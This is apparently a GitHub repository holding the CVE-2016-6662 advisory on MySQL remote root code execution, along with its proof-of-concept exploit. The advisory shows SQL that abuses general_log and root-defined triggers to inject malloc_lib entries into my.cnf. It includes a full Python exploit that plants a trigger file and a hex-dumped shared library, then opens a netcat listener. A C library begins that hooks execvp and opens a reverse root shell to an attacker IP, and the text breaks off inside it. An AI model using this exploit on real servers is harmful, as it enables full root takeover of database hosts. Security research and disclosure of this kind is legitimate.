├── README.md ├── description.txt └── rce_mysql.py /README.md: -------------------------------------------------------------------------------- 1 | "# MySQL-Remote-Root-Code-Execution" 2 | -------------------------------------------------------------------------------- /description.txt: -------------------------------------------------------------------------------- 1 | ============================================= 2 | - Discovered by: Dawid Golunski 3 | - http://legalhackers.com 4 | - dawid (at) legalhackers.com 5 | 6 | - CVE-2016-6662 7 | - Release date: 12.09.2016 8 | - Last updated: 16.09.2016 9 | - Revision: 2 10 | - Severity: Critical 11 | ============================================= 12 | 13 | 14 | I. VULNERABILITY 15 | ------------------------- 16 | 17 | MySQL <= 5.7.14 Remote Root Code Execution / Privilege Escalation (0day) 18 | 5.6.32 19 | 5.5.51 20 | 21 | MySQL clones are also affected, including: 22 | 23 | MariaDB 24 | PerconaDB 25 | 26 | 27 | II. BACKGROUND 28 | ------------------------- 29 | 30 | "MySQL is the world's most popular open source database. 31 | Whether you are a fast growing web property, technology ISV or large 32 | enterprise, MySQL can cost-effectively help you deliver high performance, 33 | scalable database applications." 34 | 35 | "Many of the world's largest and fastest-growing organizations including 36 | Facebook, Google, Adobe, Alcatel Lucent and Zappos rely on MySQL to save time 37 | and money powering their high-volume Web sites, business-critical systems and 38 | packaged software." 39 | 40 | http://www.mysql.com/products/ 41 | http://www.mysql.com/why-mysql/ 42 | http://db-engines.com/en/system/MySQL 43 | 44 | 45 | III. INTRODUCTION 46 | ------------------------- 47 | 48 | An independent research has revealed multiple severe MySQL vulnerabilities. 49 | This advisory focuses on a critical vulnerability with a CVEID of CVE-2016-6662 50 | which can allow attackers to (remotely) inject malicious settings into MySQL 51 | configuration files (my.cnf) leading to critical consequences. 52 | 53 | The vulnerability affects all MySQL servers in default configuration in all 54 | version branches (5.7, 5.6, and 5.5) including the latest versions, and could 55 | be exploited by both local and remote attackers. 56 | Both the authenticated access to MySQL database (via network connection or web 57 | interfaces such as phpMyAdmin) and SQL Injection could be used as exploitation 58 | vectors. 59 | 60 | As SQL Injection attacks are one of the most common issues in web applications, 61 | the CVE-2016-6662 vulnerabilty could put web applications at a critical risk in 62 | case of a successful SQL Injection attack. 63 | 64 | A successful exploitation could allow attackers to execute arbitrary code with 65 | root privileges which would then allow them to fully compromise the server on 66 | which an affected version of MySQL is running. 67 | 68 | The vulnerability can be exploited even if security modules SELinux and AppArmor 69 | are installed with default active policies for MySQL service on major Linux 70 | distributions. 71 | 72 | This advisory provides a Proof-Of-Concept MySQL exploit which demonstrates how 73 | Remote Root Code Execution could be achieved by attackers. 74 | 75 | 76 | IV. DESCRIPTION 77 | ------------------------- 78 | 79 | The default MySQL package comes with a mysqld_safe script which is used by many 80 | default installations/packages of MySQL as a wrapper to start the MySQL service 81 | process which can observed, for example, in case of the following fully-updated 82 | Debian system: 83 | 84 | root@debian:~# lsb_release -a 85 | No LSB modules are available. 86 | Distributor ID: Debian 87 | Description: Debian GNU/Linux 8.5 (jessie) 88 | Release: 8.5 89 | Codename: jessie 90 | 91 | root@debian:~# dpkg -l | grep -i mysql-server 92 | ii mysql-server 5.5.50-0+deb8u1 93 | ii mysql-server-5.5 5.5.50-0+deb8u1 94 | ii mysql-server-core-5.5 5.5.50-0+deb8u1 95 | 96 | After starting MySQL (installed from packages provided in the default Debian repositories) by running 97 | 98 | root@debian:~# service mysql start 99 | 100 | or, alternatively: 101 | 102 | root@debian:~# /etc/init.d/mysql start 103 | 104 | The MySQL server process tree looks as follows: 105 | 106 | root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe 107 | 108 | mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306 109 | 110 | 111 | As can be seen, the mysqld_safe wrapper script is executed as root, whereas the 112 | main mysqld process drops its privileges to mysql user. 113 | 114 | 115 | The wrapper script has the following function : 116 | 117 | ----[ /usr/bin/mysqld_safe ]---- 118 | 119 | [...] 120 | 121 | # set_malloc_lib LIB 122 | # - If LIB is empty, do nothing and return 123 | # - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib 124 | # then pkglibdir. tcmalloc is part of the Google perftools project. 125 | # - If LIB is an absolute path, assume it is a malloc shared library 126 | # 127 | # Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when 128 | # running mysqld. See ld.so for details. 129 | set_malloc_lib() { 130 | malloc_lib="$1" 131 | 132 | if [ "$malloc_lib" = tcmalloc ]; then 133 | pkglibdir=`get_mysql_config --variable=pkglibdir` 134 | malloc_lib= 135 | # This list is kept intentionally simple. Simply set --malloc-lib 136 | # to a full path if another location is desired. 137 | for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do 138 | for flavor in _minimal '' _and_profiler _debug; do 139 | tmp="$libdir/libtcmalloc$flavor.so" 140 | #log_notice "DEBUG: Checking for malloc lib '$tmp'" 141 | [ -r "$tmp" ] || continue 142 | malloc_lib="$tmp" 143 | break 2 144 | done 145 | done 146 | 147 | [...] 148 | 149 | ----------[ eof ]--------------- 150 | 151 | 152 | which can be used to preload a shared library before starting the server. 153 | 154 | The library can be set with the following parameter: 155 | 156 | --malloc-lib=LIB 157 | 158 | This parameter can also be specified within a mysql config file (my.cnf) 159 | in a '[mysqld]' or '[mysqld_safe]' section. 160 | 161 | If an attacker managed to inject a path to their malicious library within the 162 | config, they would be able to preload an arbitrary library and thus execute 163 | arbitrary code with root privileges when MySQL service is restarted (manually, 164 | via a system update, package update, system reboot etc.) 165 | 166 | In 2003 a vulnerability was disclosed in MySQL versions before 3.23.55 that 167 | allowed users to create mysql config files with a simple statement: 168 | 169 | SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf' 170 | 171 | The issue was fixed by refusing to load config files with world-writable 172 | permissions as these are the default permissions applied to files created 173 | by OUTFILE query. 174 | As an additional protection, OUTFILE/DUMPFILE statements are prohibited from 175 | overwrite existing files. 176 | This protects existing configuration files. 177 | The old vulnerability has been considered fixed ever since the MySQL 3.23.55 178 | was released in 2003, and writing to configuration files has been considered 179 | impossible. 180 | 181 | However, the V. PROOF OF CONCEPT section below will show that it is possible to 182 | successfully bypass current restrictions by abusing MySQL logging functions 183 | (available in every MySQL install by default) to achieve the following: 184 | 185 | 1) Inject malicious configuration into existing MySQL configuration files on 186 | systems with weak/improper permissions (configs owned by/writable by mysql user) 187 | (SCENARIO 1). 188 | 189 | 2) Create new configuration files within a MySQL data directory (writable 190 | by MySQL by default) on _default_ MySQL installs without the need to rely on 191 | improper config permisions (SCENARIO 2). 192 | 193 | 3) Attackers with only SELECT/FILE permissions can gain access to logging 194 | functions (normally only available to MySQL admin users) on all of the 195 | _default_ MySQL installations and thus be in position to add/modify MySQL 196 | config files. 197 | 198 | 199 | Update (16/09/2016): 200 | The proof of concept details below should be read closely as there have been 201 | some misconceptions noticed on some security forums which incorrectly try 202 | to lessen the severity of this vulnerability due to a lack of correct 203 | understanding of the issues presented in this advisory. 204 | It should be noted that: 205 | 206 | * SCENARIO 2 (point 2 above) is _independent_ of SCENARIO 1 (point 1 above). 207 | I.e the config injection vulnerability which ultimately leads to loading 208 | arbitrary malicious shared libraries CAN be exploited EVEN if there are NO 209 | my.cnf config files with insecure permissions available on the system. 210 | In other words, weak permissions are NOT a requirement for exploitation, and 211 | the vulnerability CAN be exploit on affected DEFAULT PerconaDB/MariaDB/MySQL 212 | installations with CORRECT permissions set on ALL my.cnf files available on 213 | the system by default. 214 | The SCENARIO 1 has only been presented as it makes the exploit code much 215 | simpler and allows to explain the logging abuse/config injection vulnerability 216 | without exposing default installations (SCENARIO 2) to an immediate risk. 217 | 218 | * The researcher has created a private working PoC that has not been shared 219 | publicly which CAN successfully exploit SCENARIO 2 (default setup/no incorrect 220 | permissions on any of the default my.cnf config files). As noted both in the 221 | section below as well as in the current PoC exploit's comments, the current 222 | PoC is limited. It has been purposefully limited to protect immediate 223 | exploitation of default installations (no incorrect perms on my.cnf) and give 224 | users time to react to the vulnerability. 225 | 226 | * A successful exploitation of SCENARIO 2 (no my.cnf available with weak perms) 227 | leading to root privilege escalation/code execution can _ALSO_ (however is NOT a 228 | requirement) be achieved by means of a (separate) vulnerability: CVE-2016-6663. 229 | PoC has been created by the author of this advisory but not released publicly. 230 | 231 | * The logging facility CAN be accessed by standard users with SELECT/FILE 232 | privileges only. I.e SUPER privilege is NOT required to create malicious triggers 233 | which contain the malicious payload that grants the attacker access to the 234 | logging facility DESPITE the LACK of administrative privileges. 235 | This has been explained in the section below (see point 3 in the section below) 236 | and proven in the current PoC in this advisory and can also be observed in the 237 | replication steps (see VI. section) that show the attacker database account 238 | permissions (the attacker DB account is NOT assigned SUPER permissions). 239 | 240 | 241 | V. PROOF OF CONCEPT 242 | ------------------------- 243 | 244 | 245 | 1) Inject malicious configuration into existing MySQL configuration files on 246 | systems with weak/improper permissions (configs owned by/writable by mysql user). 247 | (SCENARIO 1) 248 | ~~~~~~~~~~~~~~~~~~~~~~~~~ 249 | 250 | MySQL configuration files are loaded from all supported locations and processed 251 | one by one when mysqld_safe script is executed. 252 | 253 | Exact config locations depend on MySQL version. 254 | For example, as described on: 255 | http://dev.mysql.com/doc/refman/5.5/en/option-files.html 256 | for MySQL 5.5 the config locations include: 257 | 258 | /etc/my.cnf Global options 259 | /etc/mysql/my.cnf Global options 260 | SYSCONFDIR/my.cnf Global options 261 | $MYSQL_HOME/my.cnf Server-specific options 262 | defaults-extra-file The file specified with --defaults-extra-file=file_name, if any 263 | ~/.my.cnf User-specific options 264 | 265 | There is a common misconception that mysql config files should be owned by mysql 266 | user for the server to work properly. 267 | Many installation guides, or even security guides often wrongly advise users 268 | to set the ownership of mysql config files/directories such as /etc/mysql 269 | or /etc/my.cnf to mysql user. 270 | 271 | For example: 272 | https://github.com/willfong/mariadb-backup/blob/master/README.md 273 | says: 274 | 275 | "Lock down permissions on config file(s) 276 | 277 | chown mysql /etc/my.cnf 278 | chmod 600 /etc/my.cnf" 279 | 280 | Whereas the article at: 281 | http://www.devshed.com/c/a/mysql/security-issues-with-mysql/ 282 | mentions: 283 | 284 | "You should also protect the global option file, /etc/my.cnf, if it exists. 285 | The mysql user should own it and have read/write access to it, but other users 286 | need only read access: 287 | 288 | shell> chown mysql /etc/my.cnf" 289 | 290 | Moreover, there are also MySQL recipes for installation automatation software 291 | such as Chef that also provide users with vulnerable permissions on my.cnf 292 | config files. 293 | 294 | If any of the MySQL config files is owned by mysql user, an attacker could 295 | append malicious config entries to it as follows: 296 | 297 | root@debian:~/# ls -l /etc/my.cnf 298 | -rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf 299 | 300 | root@debian:~/# cat /etc/my.cnf 301 | 302 | [mysqld] 303 | 304 | key_buffer = 16M 305 | max_allowed_packet = 16M 306 | 307 | 308 | Attacker could run the following SQL queries: 309 | 310 | mysql> set global general_log_file = '/etc/my.cnf'; 311 | mysql> set global general_log = on; 312 | mysql> select ' 313 | '> 314 | '> ; injected config entry 315 | '> 316 | '> [mysqld] 317 | '> malloc_lib=/tmp/mysql_exploit_lib.so 318 | '> 319 | '> [separator] 320 | '> 321 | '> '; 322 | 1 row in set (0.00 sec) 323 | mysql> set global general_log = off; 324 | 325 | The resulting config would then have the following part appended: 326 | 327 | root@debian:~/# cat /etc/my.cnf 328 | 329 | [mysqld] 330 | 331 | key_buffer = 16M 332 | max_allowed_packet = 16M 333 | 334 | /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with: 335 | Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock 336 | Time Id Command Argument 337 | 160728 17:25:14 40 Query select ' 338 | 339 | ; injected config entry 340 | 341 | [mysqld] 342 | malloc_lib=/tmp/mysql_exploit_lib.so 343 | 344 | [separator] 345 | 346 | ' 347 | 160728 17:25:15 40 Query set global general_log = off 348 | 349 | 350 | This config contains some redundant information that would normally cause MySQL 351 | to fail to startup during a restart due to parsing issues. 352 | 353 | However, the important part is that the config now contains the section: 354 | 355 | [mysqld] 356 | malloc_lib=/tmp/mysql_exploit_lib.so 357 | 358 | mysqld_safe will read the shared library path correctly and add it to 359 | the LD_PRELOAD environment variable before the startup of mysqld daemon. 360 | The preloaded library can then hook the libc fopen() calls and clean up 361 | the config before it is ever processed by mysqld daemon in order for it 362 | to start up successfully. 363 | 364 | 365 | 366 | 367 | ~~~~~~~~~~~~~~~~~~~~~~~~~ 368 | 2) Create new configuration files within a MySQL data directory (writable 369 | by MySQL by default) on _default_ MySQL installs without the need to rely on 370 | improper config permisions. 371 | (SCENARIO 2) 372 | 373 | 374 | Analysis of the mysqld_safe script has shown that in addition to the 375 | config locations provided above, mysqld_safe also loads the configuration file 376 | from the mysql data directory (/var/lib/mysql/my.cnf) by default as can be 377 | seen below: 378 | 379 | ----[ /usr/bin/mysqld_safe ]---- 380 | 381 | [...] 382 | # Try where the binary installs put it 383 | if test -d $MY_BASEDIR_VERSION/data/mysql 384 | then 385 | DATADIR=$MY_BASEDIR_VERSION/data 386 | if test -z "$defaults" -a -r "$DATADIR/my.cnf" 387 | then 388 | defaults="--defaults-extra-file=$DATADIR/my.cnf" 389 | fi 390 | [...] 391 | 392 | ----------[ eof ]--------------- 393 | 394 | on MySQL versions in branches 5.5 and 5.6. 395 | The datadir location for my.cnf has only been removed from MySQL starting 396 | from 5.7 branch however in many configurations it will still load config 397 | from: 398 | 399 | /var/lib/mysql/.my.cnf 400 | 401 | The data directory /var/lib/mysql is (obviously) writable by mysql user on 402 | every install: 403 | 404 | root@debian:~# ls -ld /var/lib/mysql/ 405 | drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/ 406 | 407 | Therefore, if no mysql-owned configs are available on the system, an attacker 408 | could still be able to exploit the vulnerability by creating a config at the 409 | following locations: 410 | 411 | /var/lib/mysql/my.cnf 412 | /var/lib/mysql/.my.cnf 413 | 414 | As mentioned, using FILE permission to create such a file with the SQL statement: 415 | 416 | SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf' 417 | 418 | would not work, as MySQL creates files with rw permissions for the world: 419 | 420 | -rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf 421 | 422 | and MySQL would prevent such world-writable config from being loaded at startup. 423 | 424 | Attackers could bypass this however by using these logging SQL statements: 425 | 426 | mysql> set global general_log_file = '/var/lib/mysql/my.cnf'; 427 | mysql> set global general_log = on; 428 | mysql> select ' 429 | '> 430 | '> ; injected config entry 431 | '> 432 | '> [mysqld] 433 | '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so 434 | '> 435 | '> [separator] 436 | '> 437 | '> '; 438 | 1 row in set (0.00 sec) 439 | mysql> set global general_log = off; 440 | 441 | The queries will create the my.cnf file with the necessary permissions 442 | (without o-w bit) for it to be parsed by the MySQL daemon: 443 | 444 | # ls -l /var/lib/mysql/my.cnf 445 | -rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf 446 | 447 | The file will have the following contents: 448 | 449 | # cat /var/lib/mysql/my.cnf 450 | /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with: 451 | Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock 452 | Time Id Command Argument 453 | 160728 17:48:22 43 Query select ' 454 | 455 | ; injected config entry 456 | 457 | [mysqld] 458 | malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so 459 | 460 | [separator] 461 | 462 | ' 463 | 160728 17:48:23 43 Query set global general_log = off 464 | 465 | 466 | One problem will remain however. MySQL will refuse files that do not start with 467 | a valid [section] header with the message: 468 | 469 | error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1 470 | Fatal error in defaults handling. Program aborted 471 | 472 | Further testing has however proven that IT IS possible to bypass this security 473 | restriction as well but this will not be included in this advisory/PoC for the 474 | time being. 475 | 476 | It is worth to note that attackers could use one of the other vulnerabilities 477 | discovered by the author of this advisory which has been assigned a CVEID of 478 | CVE-2016-6663 and is pending disclosure. 479 | The undisclosed vulnerability makes it easy for certain attackers to create 480 | /var/lib/mysql/my.cnf file with arbitrary contents without the FILE privilege 481 | requirement. 482 | 483 | 484 | 485 | 486 | ~~~~~~~~~~~~~~~~~~~~~~~~~ 487 | 3) Attackers with only SELECT/FILE permissions can gain access to logging functions 488 | (normally only available to MySQL admin users) on all of the _default_ MySQL 489 | installations and thus be in position to add/modify MySQL config files. 490 | 491 | 492 | If attackers do not have administrative rights required to access logging settings 493 | and only have standard user privileges with the addition of FILE privilege then 494 | they could still gain the ability to write to / modify configuration files. 495 | 496 | This could be achieved by writing a malicious trigger payload: 497 | 498 | CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf 499 | AFTER INSERT 500 | ON `active_table` FOR EACH ROW 501 | BEGIN 502 | DECLARE void varchar(550); 503 | set global general_log_file='/var/lib/mysql/my.cnf'; 504 | set global general_log = on; 505 | select " 506 | [mysqld] 507 | malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' 508 | 509 | " INTO void; 510 | set global general_log = off; 511 | END; 512 | 513 | 514 | into a trigger file of an actively used table ('active_table') with the 515 | use of a statement similar to: 516 | 517 | SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG' 518 | 519 | Such trigger will be loaded when tables get flushed. From this point on 520 | whenever an INSERT statement is invoked on the table, e.g: 521 | 522 | INSERT INTO `active_table` VALUES('xyz'); 523 | 524 | The trigger's code will be executed with mysql root user privileges (see 525 | 'definer' above) and will thus let attacker to modify the general_log settings 526 | despite the lack of administrative privileges on their standard account. 527 | 528 | 529 | ------------------ 530 | VI. PROOF OF CONCEPT - 0day 0ldSQL_MySQL_RCE_exploit.py exploit 531 | 532 | 533 | ----------[ 0ldSQL_MySQL_RCE_exploit.py ]-------------- 534 | 535 | #!/usr/bin/python 536 | 537 | # This is a limited version of the PoC exploit. It only allows appending to 538 | # existing mysql config files with weak permissions. See V) 1) section of 539 | # the advisory for details on this vector. 540 | # 541 | # Full PoC will be released at a later date, and will show how attackers could 542 | # exploit the vulnerability on default installations of MySQL on systems with no 543 | # writable my.cnf config files available. 544 | # 545 | # The upcoming advisory CVE-2016-6663 will also make the exploitation trivial 546 | # for certain low-privileged attackers that do not have FILE privilege. 547 | # 548 | # See full advisory for details: 549 | # http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt 550 | # 551 | # Stay tuned ;) 552 | 553 | intro = """ 554 | 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0) 555 | (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit 556 | 557 | For testing purposes only. Do no harm. 558 | 559 | Discovered/Coded by: 560 | 561 | Dawid Golunski 562 | http://legalhackers.com 563 | 564 | """ 565 | 566 | import argparse 567 | import mysql.connector 568 | import binascii 569 | import subprocess 570 | 571 | 572 | def info(str): 573 | print "[+] " + str + "\n" 574 | 575 | def errmsg(str): 576 | print "[!] " + str + "\n" 577 | 578 | def shutdown(code): 579 | if (code==0): 580 | info("Exiting (code: %d)\n" % code) 581 | else: 582 | errmsg("Exiting (code: %d)\n" % code) 583 | exit(code) 584 | 585 | 586 | cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so" 587 | process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 588 | (result, error) = process.communicate() 589 | rc = process.wait() 590 | 591 | 592 | # where will the library to be preloaded reside? /tmp might get emptied on reboot 593 | # /var/lib/mysql is safer option (and mysql can definitely write in there ;) 594 | malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so' 595 | 596 | 597 | # Main Meat 598 | 599 | print intro 600 | 601 | # Parse input args 602 | parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662') 603 | parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 604 | parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password') 605 | parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name') 606 | parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host') 607 | parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user') 608 | 609 | args = parser.parse_args() 610 | 611 | 612 | # Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions 613 | # CREATE requirement could be bypassed (malicious trigger could be attached to existing tables) 614 | info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB)) 615 | try: 616 | dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST) 617 | except mysql.connector.Error as err: 618 | errmsg("Failed to connect to the target: {}".format(err)) 619 | shutdown(1) 620 | 621 | try: 622 | cursor = dbconn.cursor() 623 | cursor.execute("SHOW GRANTS") 624 | except mysql.connector.Error as err: 625 | errmsg("Something went wrong: {}".format(err)) 626 | shutdown(2) 627 | 628 | privs = cursor.fetchall() 629 | info("The account in use has the following grants/perms: " ) 630 | for priv in privs: 631 | print priv[0] 632 | print "" 633 | 634 | 635 | # Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 636 | # process execution and run our code (Remote Root Shell) 637 | # Remember to match the architecture of the target (not your machine!) otherwise the library 638 | # will not load properly on the target. 639 | info("Compiling mysql_hookandroot_lib.so") 640 | cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl" 641 | process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 642 | (result, error) = process.communicate() 643 | rc = process.wait() 644 | if rc != 0: 645 | errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd) 646 | print error 647 | shutdown(2) 648 | 649 | # Load mysql_hookandroot_lib.so library and encode it into HEX 650 | info("Converting mysql_hookandroot_lib.so into HEX") 651 | hookandrootlib_path = './mysql_hookandroot_lib.so' 652 | with open(hookandrootlib_path, 'rb') as f: 653 | content = f.read() 654 | hookandrootlib_hex = binascii.hexlify(content) 655 | 656 | # Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 657 | # Decoded payload (paths may differ): 658 | """ 659 | DELIMITER // 660 | CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf 661 | AFTER INSERT 662 | ON `poctable` FOR EACH ROW 663 | BEGIN 664 | 665 | DECLARE void varchar(550); 666 | set global general_log_file='/var/lib/mysql/my.cnf'; 667 | set global general_log = on; 668 | select " 669 | 670 | # 0ldSQL_MySQL_RCE_exploit got here :) 671 | 672 | [mysqld] 673 | malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' 674 | 675 | [abyss] 676 | " INTO void; 677 | set global general_log = off; 678 | 679 | END; // 680 | DELIMITER ; 681 | """ 682 | trigger_payload="""TYPE=TRIGGERS 683 | triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND' 684 | sql_modes=0 685 | definers='root@localhost' 686 | client_cs_names='utf8' 687 | connection_cl_names='utf8_general_ci' 688 | db_cl_names='latin1_swedish_ci' 689 | """ % (args.TARGET_MYCNF, malloc_lib_path) 690 | 691 | # Convert trigger into HEX to pass it to unhex() SQL function 692 | trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload) 693 | 694 | # Save trigger into a trigger file 695 | TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB 696 | info("Saving trigger payload into %s" % (TRG_path)) 697 | try: 698 | cursor = dbconn.cursor() 699 | cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) ) 700 | except mysql.connector.Error as err: 701 | errmsg("Something went wrong: {}".format(err)) 702 | shutdown(4) 703 | 704 | # Save library into a trigger file 705 | info("Dumping shared library into %s file on the target" % malloc_lib_path) 706 | try: 707 | cursor = dbconn.cursor() 708 | cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) ) 709 | except mysql.connector.Error as err: 710 | errmsg("Something went wrong: {}".format(err)) 711 | shutdown(5) 712 | 713 | # Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server 714 | info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded") 715 | try: 716 | cursor = dbconn.cursor() 717 | cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" ) 718 | except mysql.connector.Error as err: 719 | errmsg("Something went wrong: {}".format(err)) 720 | shutdown(6) 721 | 722 | # Finally, execute the trigger's payload by inserting anything into `poctable`. 723 | # The payload will write to the mysql config file at this point. 724 | info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF ) 725 | try: 726 | cursor = dbconn.cursor() 727 | cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" ) 728 | except mysql.connector.Error as err: 729 | errmsg("Something went wrong: {}".format(err)) 730 | shutdown(6) 731 | 732 | # Check on the config that was just created 733 | info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF ) 734 | try: 735 | cursor = dbconn.cursor() 736 | cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF) 737 | except mysql.connector.Error as err: 738 | errmsg("Something went wrong: {}".format(err)) 739 | shutdown(2) 740 | finally: 741 | dbconn.close() # Close DB connection 742 | print "" 743 | myconfig = cursor.fetchall() 744 | print myconfig[0][0] 745 | info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)") 746 | 747 | # Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;) 748 | info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" ) 749 | listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"]) 750 | listener.communicate() 751 | print "" 752 | 753 | # Show config again after all the action is done 754 | info("Shell closed. Hope you had fun. ") 755 | 756 | # Mission complete, but just for now... Stay tuned :) 757 | info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""") 758 | 759 | 760 | # Shutdown 761 | shutdown(0) 762 | 763 | 764 | --------------------------------------------------- 765 | 766 | 767 | 768 | 769 | 770 | ----------[ mysql_hookandroot_lib.c ]-------------- 771 | 772 | /* 773 | 774 | (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit 775 | mysql_hookandroot_lib.c 776 | 777 | This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit. 778 | The library is meant to be loaded by mysqld_safe on mysqld daemon startup 779 | to create a reverse shell that connects back to the attacker's host on 780 | 6603 port (mysql port in reverse ;) and provides a root shell on the 781 | target. 782 | 783 | mysqld_safe will load this library through the following setting: 784 | 785 | [mysqld] 786 | malloc_lib=mysql_hookandroot_lib.so 787 | 788 | in one of the my.cnf config files (e.g. /etc/my.cnf). 789 | 790 | This shared library will hook the execvp() function which is called 791 | during the startup of mysqld process. 792 | It will then fork a reverse shell and clean up the poisoned my.cnf 793 | file in order to let mysqld run as normal so that: 794 | 'service mysql restart' will work without a problem. 795 | 796 | Before compiling adjust IP / PORT and config path. 797 | 798 | 799 | ~~ 800 | Discovered/Coded by: 801 | 802 | Dawid Golunski 803 | http://legalhackers.com 804 | 805 | 806 | ~~ 807 | Compilation (remember to choose settings compatible with the remote OS/arch): 808 | 809 | gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl 810 | 811 | Disclaimer: 812 | 813 | For testing purposes only. Do no harm. 814 | 815 | Full advisory URL: 816 | http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt 817 | 818 | */ 819 | 820 | #define _GNU_SOURCE 821 | #include 822 | #include 823 | #include 824 | #include 825 | #include 826 | #include 827 | #include 828 | #include 829 | #include 830 | #include 831 | #include 832 | #include 833 | 834 | #define ATTACKERS_IP "127.0.0.1" 835 | #define SHELL_PORT 6033 836 | #define INJECTED_CONF "/var/lib/mysql/my.cnf" 837 | 838 | char* env_list[] = { "HOME=/root", NULL }; 839 | typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]); 840 | static execvp_func_t old_execvp = NULL; 841 | 842 | 843 | // fork & send a bash shell to the attacker before starting mysqld 844 | void reverse_shell(void) { 845 | 846 | int i; int sockfd; 847 | //socklen_t socklen; 848 | struct sockaddr_in srv_addr; 849 | srv_addr.sin_family = AF_INET; 850 | srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port 851 | srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip 852 | 853 | // create new TCP socket && connect 854 | sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP ); 855 | connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)); 856 | 857 